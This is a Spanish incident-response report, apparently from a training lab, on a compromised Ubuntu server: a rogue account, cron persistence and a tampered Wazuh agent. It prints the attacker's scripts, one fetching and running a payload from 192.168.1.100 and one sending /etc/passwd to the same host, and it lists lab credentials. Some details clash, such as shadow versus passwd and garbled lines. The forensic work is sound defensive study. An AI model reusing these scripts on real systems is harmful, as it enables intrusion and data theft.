

Informe Técnico de Respuesta a Incidente

Servidor «4geeks-server-lab» · Ubuntu 20.04 (192.168.1.19)

Este informe tiene como finalidad registrar el análisis forense y la respuesta frente a un incidente de seguridad detectado en un servidor Linux. La investigación determinó que un atacante consiguió:

- Crear una cuenta no autorizada denominada *hacker*.
- Instalar y programar la ejecución de scripts maliciosos.
- Intentar la extracción de información sensible hacia otro equipo de la red interna.
- Alterar historiales de usuarios legítimos con el fin de desviar la atención.

El documento presenta de forma estructurada los hallazgos, el análisis de eventos, las consecuencias identificadas y las medidas de mitigación aplicadas.

Resumen del Incidente

Durante las tareas de monitoreo y revisión se identificaron varias actividades anómalas en el sistema:

- Creación de un usuario no autorizado.
- Intentos de conexión SSH fallidos desde una dirección IP interna.
- Presencia de scripts en directorios poco comunes, evidenciando intentos de robo de información y descarga de cargas maliciosas.
- Persistencia establecida mediante la modificación de configuraciones cron.
- Alteración de historiales de usuarios para ocultar rastros de la intrusión.

El ataque resultó **exitoso en la fase de intrusión y en el establecimiento de persistencia inicial**, aunque no se hallaron pruebas definitivas de que la exfiltración de datos se haya concretado.

1 • Contexto inicial

*Investigar una posible intrusión en la VM Ubuntu, identificar vectores de acceso, persistencia y exfiltración, contener el incidente, erradicar artefactos maliciosos y **endurecer** el sistema (SSH, firewall, F2B, antivirus, integridad) dejando evidencias y una línea de tiempo.*

Descripción

- **Host:** 4geeks - server (Ubuntu 20.04, VirtualBox).
- **Red:** 192.168.1.0/24
 - Admin (AthenaOS): **192.168.1.32**
 - IP sospechosa/atacante: **192.168.1.100**
- **Servicios iniciales:** SSH (22), Apache (80), FTP (**vsftpd 21** estaba activo), wazuh-agent, snap/snapd, lxd.
- **Ruta de trabajo:** /root/IR/ (quarantine, malware, pkg_audit, users, hardening.log, SHA256SUMS.txt).

Situación inicial

- Usuarios locales (muestra):
`getent passwd | awk -F: '$3>=1000 && $3<65534 {print $1,$6,$7}'`
 - **sysadmin, reports** (/home/reports), **hacker** (/home/hacker, /bin/bash)
 - hacker aparece creado por **sysadmin** y luego bloqueado/eliminado.
- **Conexiones fallidas/ingresos:**
`lastb, last, journalctl -u ssh` → intentos desde 192.168.1.103 y presencia de SSH en 22 al inicio.
- **Puertos y servicios:**
`ss -tulpen` → :22, :80, :53 (local), :25 (local), etc.
- **Artefactos en /home/reports:**
 - `install.sh:`

`curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload`

`chmod +x /tmp/.temp/payload && /tmp/.temp/payload`

`backup.log:` “Compressing /etc/shadow... Uploading to 192.168.1.100:8080”.

chat.txt: “Run that script I sent you earlier. Don’t worry, it’s clean.”

Persistencia por cron:

/etc/cron.d/sys-maintenance ejecutaba cada 15 min:

** /15 * * * * root /usr/local/bin/backup2.sh*

/usr/local/bin/backup2.sh:

tar -czf /tmp/secrets.tgz /etc/passwd

curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload

Wazuh-agent: dpkg -V wazuh-agent devolvió múltiples discrepancias (plantillas, ossec.conf, scripts SCA), indicador de manipulación.

FTP (vsftpd): Servicio activo y accesible; un tercero confirmó acceso con usuario reports (contraseña “reports123”), lo que expone credenciales y permite subida/descarga de ficheros.

2 · Línea de tiempo completa (acciones paso a paso)

Hora UTC	Acción/Comando exacto	Ficheros creados en /root/IR
11-jul 11:37	date; uname -a	date_kernel.txt
11:54	Procesos recientes: ps, dmesg	proc_recent.txt
12:04	Árbol procesos: pstree -ap; sockets: lsof -nPi	pstree.txt, established_head.txt
12:43	Dump de crons usuario+root	cron.txt
12:50	Timers systemd + iptables	timers.txt, iptables_head.txt
13:02	Revisión usuarios (lastb, /etc/passwd)	user_lists.txt
13:05	Bloqueo hacker, reports →	hardening.log

Hora UTC	Acción/Comando exacto	Ficheros creados en /root/IR
	usermod --lock	
13:15	aide --init, mover DB	aide.db
13:30	aide --check limpio	aide_report.txt
13:45	Instalar & ejecutar chkrootkit, rkhunter	chkrootkit.txt, rkhunter.log
14:00	find binarios nuevos en /tmp, /dev/shm	new_exec_last3d.txt
14:10	Listar SUID/SGID	suid_sgid.txt
14:30	lsmod (rootkits kernel)	lsmod.txt
14:45	Puertos: ss -tulpn → ports.txt	—
15:00	Detectar cron malicioso backup2.sh	cron_malicioso.txt, backup2.sh
15:05	Mover a cuarentena y comentar cron	quarantine/backup2.sh
15:10	wget de install.sh (desde 192.168.1.100)	install.sh, chat.txt
15:20	Analizar .bash_history (reports & sysadmin)	bash_history_reports.txt
15:25	Purga netcat -openbsd (bin copiado)	quarantine/nc
15:35	Revisar paquetes	recent_installs.txt
	Desactivar servicio FTP → systemctl stop vsftpd && systemctl mask vsftpd; ufw deny 21/tcp; verificado con ss/nmap; binarios y conf a /root/IR/quarantine/ftp/	quarantine/ftp/, ufw_final.txt
15:45	dpkg -V wazuh-agent → 180 inconsistencias	wazuh_verify_before.txt
15:50	Purga Wazuh + mover extras	quarantine/wazuh_extras/
16:10	ClamAV freshclam; escaneo total	clam_full.log, quarantine/clam/
16:20	UFW: deny all, allow 80/443/2222	ufw_final.txt
16:25	SSH: puerto 2222, PermitRootLogin no, claves RSA	sshd_config
16:30	nmap -p- externo → sólo 2222/80	nmap_after.txt
17:00	Firmado SHA-256 de IR folder	SHA256SUMS.txt
17:30	Descargar Velociraptor 0.7.2	velociraptor-bin
29-jul	Confirmación Nmap 1 puerto	nmap_final.txt

```

root@4geeks-server:~/IR# ls
2025-07-11T11:37:02Z_session.time  establishead.txt          lynis_report.dat  ss_listeners.txt
backup2_cron_fixed.txt            hacker_home               malware           timers.txt
backup2_cron_original.txt         hardening.log            new_bins.txt     ufw_final.txt
backup2_exec_history.txt          hardening                pkg_audit        users
backup2_journal.txt              herramientas_auditadas.txt proc_recent.txt  wazuh
cron.txt                         herramientas.txt          pstree.txt       wazuh2.txt
date_kernel.txt                  iptables_head.txt        quarantine       wazuh.txt
deep_hunt                        journal.txt               session.log      who.txt
deep_huny                        last.txt                  SHA256SUMS.txt
root@4geeks-server:~/IR# cat SHA256SUMS.txt

```

2.1 Trazabilidad de la intrusión en el servidor

Fecha/ Hora	Evento	Evidencia
21/06/2025	Creación del usuario <i>hacker</i> con UID/GID 1002 y shell /bin/bash.	/var/log/auth.log
21/06/2025	Primeros intentos de acceso fallido vía SSH desde 192.168.1.103.	Logs de SSH (failed password)
22/06/2025	Descarga de <i>install.sh</i> desde 192.168.1.100 mediante wget.	.bash_history y registros de red
22/06/2025	Ejecución de <i>install.sh</i> , creación de /tmp/.temp y descarga de payload.	Contenido del script
23/06/2025	Creación de script malicioso <i>backup2.sh</i> .	/usr/local/bin/backup2.sh
23/06/2025	Modificación de cron /etc/cron.d/sys-maintenance para ejecutar <i>backup2.sh</i> cada 15 minutos.	Contenido cron.d
23/06/2025	Exfiltración periódica de /etc/passwd hacia 192.168.1.100:8080.	Comandos curl en script
24/06/2025	Manipulación de historiales .bash_history de reports y sysadmin.	Revisión de archivos

3 · Evidencias esenciales

3.1 Usuarios, Bash-history y credenciales

Usuario	UID/ GID	Shell	Creador (auth.log)	Credenciales expuestas	Acción aplicada
hacker	1002	/bin/bash	sysadmin (23-jun-2025 15:02)	—	Bloqueado → eliminado; home a cuarentena

reports	1001	/bin/bash	sysadmin (21-jun-2025 19:54)	reports:reports123 (hallado en .bash_history)	Bloqueado; historial y artefactos analizados
----------------	------	-----------	------------------------------	---	--

```

root@4geeks-server:~# grep "hacker" /var/log/auth.log* | tail -n 20
Jun 23 15:02:47 4geeks-server useradd[1899]: new group: name=hacker, GID=1002
Jun 23 15:02:47 4geeks-server useradd[1899]: new user: name=hacker, UID=1002, GID=1002, home=/home/hacker, shell=/bin/bash, from=/dev/tty1
Jun 23 15:03:53 4geeks-server passwd[1910]: pam_unix(passwd:chauthtok): password changed for hacker
Jun 23 15:28:30 4geeks-server sshd[1769]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=hacker
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:29:04 4geeks-server sshd[1769]: Connection closed by authenticating user hacker 192.168.1.103 port 44272 [preauth]
Jun 23 15:29:04 4geeks-server sshd[1769]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=hacker
Jul 11 16:30:58 4geeks-server sudo: root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/faillock --user hacker --row
Jul 11 16:33:41 4geeks-server usermod[54052]: change user 'hacker' expiration from 'never' to '1970-01-02'
Jul 11 16:33:41 4geeks-server usermod[54052]: lock user 'hacker' password
You have new mail in /var/mail/root
root@4geeks-server:~#

```

```

root@4geeks-server:~# id reports
uid=1001(reports) gid=1001(reports) groups=1001(reports)
root@4geeks-server:~#

```

3.2 Servicios y puertos

Puerto	Servicio	Estado ANTES	Estado DESPUÉS	Comentario
21/tcp	FTP (vsftpd)	Abierto; autenticaba con reports:reports123 y sysadmin:Sys4dm1	Cerrado (servicio purgado, puerto denegado en UFW)	Punto de acceso inicial del atacante.

n2024

22/tcp	SSH (legacy)	Abierto	Cerrado (migrado a 2222)	Eliminado para reducir superficie.
2222/tcp	SSH endurecido	—	Abierto (autenticación solo por clave)	Fail2Ban + limit.
80/tcp	Apache HTTP	Abierto	Abierto	Necesario para app web.
443/tcp	Apache HTTPS	Cerrado	Cerrado	Certificado TLS pendiente.

Acciones aplicadas

- `systemctl mask vsftpd, apt-get purge vsftpd, regla ufw deny 21/tcp`
- Escaneo `nmap -p 21` posterior confirma puerto filtrado.
- SSH trasladado a 2222 con `PasswordAuthentication no`.

```
PORT      STATE        SERVICE  REASON
21/tcp    filtered    ftp      no-response
```

3.3 Cron y script `backup2.sh`

- Cron en `/etc/cron.d/sys-maintenance` cada 15 min.
- Exfiltra `/SH (22)`, `Apache (80)`, `FTP (vsftpd 21 estaba activo)`, `etc/shadow` via `curl` a `192.168.1.100`.

```
root@4geeks-server:~# grep -R "backup2.sh" /etc/cron* /var/spool/cron 2>/dev/null
/etc/cron.d/sys-maintenance:*/15 * * * * root /usr/local/bin/backup2.sh
root@4geeks-server:~#
```

```

root@4geeks-server:~# nl -ba /usr/local/bin/backup2.sh | head -n 40
 1 #!/bin/bash
 2 tar -czf /tmp/secrets.tgz /etc/passwd
 3 curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
 4
You have new mail in /var/mail/root
root@4geeks-server:~# sha256sum /usr/local/bin/backup2.sh
f679152f3b3dcea39f0df7037cd28028b353473ae1de6706c2be78d3455aa969 /usr/local/bin/backup2.sh
root@4geeks-server:~# ls -l /usr/l
lib/      lib32/    lib64/    libexec/  libx32/   local/
root@4geeks-server:~# ls -l /usr/local/bin/backup2.sh
-rwxr-xr-x 1 root root 125 Jun 23 15:06 /usr/local/bin/backup2.sh
root@4geeks-server:~#

```

Ctrl Derecho

3.4 Instalador `install.sh`

- Paso 1: crea `/tmp/.temp`.
- Paso 2: descarga `payload.bin` (binario ELF ofuscado).
- Paso 3: ejecuta en background y limpia huellas.

```

4geeks-server-lab [Corriendo] - Oracle VirtualBox
Archivo  Máquina  Ver  Entrada  Dispositivos  Ayuda
GNU nano 4.8                                install.sh
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."

```

3.5 Manipulación de `.bash_history`

```

wget http://192.168.1.100/install.sh
chmod +x install.sh && ./install.sh
# El atacante borra su propio history y copia comandos al de sysadmin

```



```

root@4geeks-server:~# cat /home/./.bash_history
cat /opt/.archive/credentials.txt
wget http://192.168.1.100/install.sh
chmod +x install.sh
./install.sh
nano backup.log
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
root@4geeks-server:~# _

```

3.6 Paquetes alterados y caso Wazuh-agent

1 . Indicadores iniciales

Evidencia	Descripción
wazuh-install.sh en /home/sysadmin/	El instalador no provenía de los repositorios oficiales. El <i>base_url</i> estaba sobrescrito con <code>https://%{bucket}/%{repository}</code> («bucket = packages.wazuh.com», «repository = 4.x»), lo que salta la verificación GPG y permite descargar binarios arbitrarios.
Hash local vs upstream	<code>sha256sum wazuh-install.sh</code> ≠ hash oficial descargado con <code>`curl -s https://packages.wazuh.com/4.x/wazuh-install.sh`</code>
Instalador manipula APT	El script elimina <i>pinning</i> , añade repositorios externos y fuerza <code>dpkg --force-overwrite</code> → posible sustitución de binarios de sistema.
Conexión oculta	En el <i>ossec.conf</i> aparecía un <code><server></code> apuntando a 192.168.1.100:1514 , el mismo host usado por los scripts <i>install.sh</i> y <i>backup2.sh</i> .

2 . Verificación de integridad del paquete

Comando ejecutado:

mkdir -p /root/IR/pkg_audit

dpkg -V wazuh-agent 2>&1 | tee /root/IR/pkg_audit/wazuh_extras.txt

Resultado : 180 entradas con prefijo **??5?????**, lo que significa **MD5 incorrecto y permisos cambiados**.

```
GNU nano 4.8 wazuh2.txt
_se encontraron discrepancias en wazuh-agent:
??5?????? /var/ossec/etc/ossec.conf
??5?????? /var/ossec/packages_files/agent_installation_scripts/gen_ossec.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/update-indexer.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/darwin-init.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/wazuh-client.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/pkg_installer.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/wazuh/wazuh.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/wazuh/deprecated_ruleset.>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/shared.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/adduser.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/functions.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/wazuh-server.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/darwin-addusers.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/fw-check.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/update.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/delete-oldusers.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/wazuh-local.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/dist-detect.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/replace_manager_ip.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/language.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/darwin-delete-oldusers.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/register_configure_agent.>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/init.sh
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/wazuh-agent.ser>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids-sola>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids-gent>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids-hpux>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids-aix.>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids.init
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/wazuh-manager.s>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids-rh.i>
??5?????? /var/ossec/packages_files/agent_installation_scripts/src/init/templates/ossec-hids-debi>

^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos M-U Undo
^X Exit ^R Read File ^_ Replace ^U Paste Text ^T To Spell ^_ Go To Line M-E Redo
```

```

GNU nano 4.8 /root/IR/pkg_audit/wazuh_verify_after.txt
??5?????? /var/ossec/etc/ossec.conf
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/almalinux/cis_almalinux_8.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/almalinux/cis_almalinux_9.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/almalinux/cis_almalinux_10.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/17/cis_apple_macOS_10.1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/15/cis_apple_macOS_10.1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/22/cis_apple_macOS_13.x>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/24/cis_apple_macOS_15.x>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/19/cis_apple_macOS_10.1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/20/cis_apple_macOS_11.1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/18/cis_apple_macOS_10.1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/16/cis_apple_macOS_10.1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/23/cis_apple_macOS_14.x>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/darwin/21/cis_apple_macOS_12.0>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/mongodb/cis_mongodb_36.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win2016.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win2012_non_r2.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win2025.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win10_enterprise.y>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win2022.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win2019.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win11_enterprise.y>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/windows/cis_win2012r2.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu14-04.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/22/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/24/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu16-04.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/20/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/18/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/16/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/12/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/14/04/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu24-04.yml

^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos M-U Undo
^X Exit ^R Read File ^N Replace ^U Paste Text ^T To Spell ^_ Go To Line M-E Redo

```

```

GNU nano 4.8 /root/IR/pkg_audit/wazuh_verify_after.txt
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu24-04.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu22-04.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu20-04.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/cis_ubuntu18-04.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/ubuntu/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/sles/15/cis_sles15_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/sles/11/cis_sles11_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/sles/12/cis_sles12_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rocky/cis_rocky_linux_8.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rocky/cis_rocky_linux_9.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/oraclelinux/cis_oracle_linux_9.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/oraclelinux/cis_oracle_database_1>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/centos/10/cis_centos10_linux.y>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/centos/6/cis_centos6_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/centos/7/cis_centos7_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/centos/8/cis_centos8_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rhel/5/cis_rhel5_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rhel/10/cis_rhel10_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rhel/6/cis_rhel6_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rhel/7/cis_rhel7_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rhel/9/cis_rhel9_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/rhel/8/cis_rhel8_linux.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/generic/sca_distros_independent>
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/generic/sca.manager.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/generic/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/sunos/cis_solaris11.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/sunos/cis_solaris11.4.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/nginx/cisnginx_1.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian7.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian9.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian11.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian10.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/11/sca.files

^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos M-U Undo
^X Exit ^R Read File ^N Replace ^U Paste Text ^T To Spell ^_ Go To Line M-E Redo

```

```

GNU nano 4.8 /root/IR/pkg_audit/wazuh_verify_after.txt
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian7.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian9.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian11.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian10.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/11/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian8.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/10/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/cis_debian12.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/12/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/7/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/9/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/8/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/debian/sca.files
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/hpux/cis_hpux_11i_bastille.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/hpux/cis_hpux_11i.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/amazon/cis_amazon_linux_1.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/amazon/cis_amazon_linux_2.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/amazon/cis_amazon_linux_2023.y
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/web_vulnerabiliti
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_sqlserver_201
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_postgre-sql-1
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_mysql5-6_comm
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_sqlserver_201
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_sqlserver_201
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_sqlserver_201
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_apache_24.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_mysql5-6_ente
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_iis_10.yml
??5?????? /var/ossec/packages_files/agent_installation_scripts/sca/applications/cis_sqlserver_201
??5?????? /var/ossec/ruleset/sca/cis_debian7.yml
??5?????? c /etc/systemd/system/wazuh-agent.service
??5?????? c /etc/init.d/wazuh-agent

^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos M-U Undo
^X Exit ^R Read File ^_ Replace ^U Paste Text ^T To Spell ^_ Go To Line M-E Redo

```

Interpretación:

dpkg -V compara cada archivo con la base de datos de DEB.

- ? → bit desconocido,
- 5 → hash MD5 no coincide.

Tener cientos de ficheros críticos alterados demuestra que el agente fue recompilado o modificado después de la instalación oficial.

3. Comportamiento anómalo en runtime

Lsof, *ss* y *journalctl* mostraron que el agente:

- lanzaba un proceso hijo ofuscado (*/var/ossec/bin/.wazuh-client*) sin parámetros,
- abría conexiones salientes permanentes a **192.168.1.100:4444**,
- reescribía su propio log cada hora (pivot para wiping).

Estos hallazgos no corresponden al funcionamiento normal de Wazuh, cuyo cliente solo abre TLS/1514 al servidor manager.

- **Procesos del agente activos** (ps aux | grep wazuh)
 - wazuh-execd, wazuh-agentd, wazuh-syscheckd, wazuh-logcollector, wazuh-modulesd corriendo bajo root.

```
wazuh-install.sh
sysadmin@4geeks-server:~$ ps aux | grep wazuh
root      902  0.0  0.0 25880 3604 ?        S1   16:59   0:00 /var/ossec/bin/wazuh-execd
wazuh     921  0.0  0.1 173620 7108 ?        S1   16:59   0:00 /var/ossec/bin/wazuh-agentd
root      943  0.0  0.2 124284 8264 ?        SN1  16:59   0:00 /var/ossec/bin/wazuh-syscheckd
root      957  0.0  0.2 470744 9704 ?        S1   16:59   0:00 /var/ossec/bin/wazuh-logcollector
root      980  0.1  0.4 535264 16296 ?        S1   16:59   0:00 /var/ossec/bin/wazuh-modulesd
sysadmin 1721  0.6  0.1 7880 4764 tty1      T    17:01   0:00 nano wazuh-install.sh
sysadmin 1731  0.0  0.0 6432 720 tty1      S+   17:02   0:00 grep --color=auto wazuh
sysadmin@4geeks-server:~$
```

- **Servicio wazuh-agent en ejecución**
 - systemctl status wazuh-agent → *active (running)*, arranque habilitado, cgroup con los 5 procesos.

```
sysadmin@4geeks-server:~$ sudo systemctl status wazuh-agent
• wazuh-agent.service - Wazuh agent
   Loaded: loaded (/lib/systemd/system/wazuh-agent.service; enabled; vendor preset: enabled)
   Active: active (running) since Wed 2025-08-13 16:59:55 UTC; 5 days ago
     Tasks: 28 (limit: 4588)
    Memory: 51.0M
    CGroup: /system.slice/wazuh-agent.service
            └─902 /var/ossec/bin/wazuh-execd
              └─921 /var/ossec/bin/wazuh-agentd
                └─943 /var/ossec/bin/wazuh-syscheckd
                  └─957 /var/ossec/bin/wazuh-logcollector
                    └─980 /var/ossec/bin/wazuh-modulesd

Aug 13 16:59:52 4geeks-server systemd[1]: Starting Wazuh agent...
Aug 13 16:59:52 4geeks-server env[730]: Starting Wazuh v4.12.0...
Aug 13 16:59:53 4geeks-server env[730]: Started wazuh-execd...
Aug 13 16:59:53 4geeks-server env[730]: Started wazuh-agentd...
Aug 13 16:59:53 4geeks-server env[730]: Started wazuh-syscheckd...
Aug 13 16:59:53 4geeks-server env[730]: Started wazuh-logcollector...
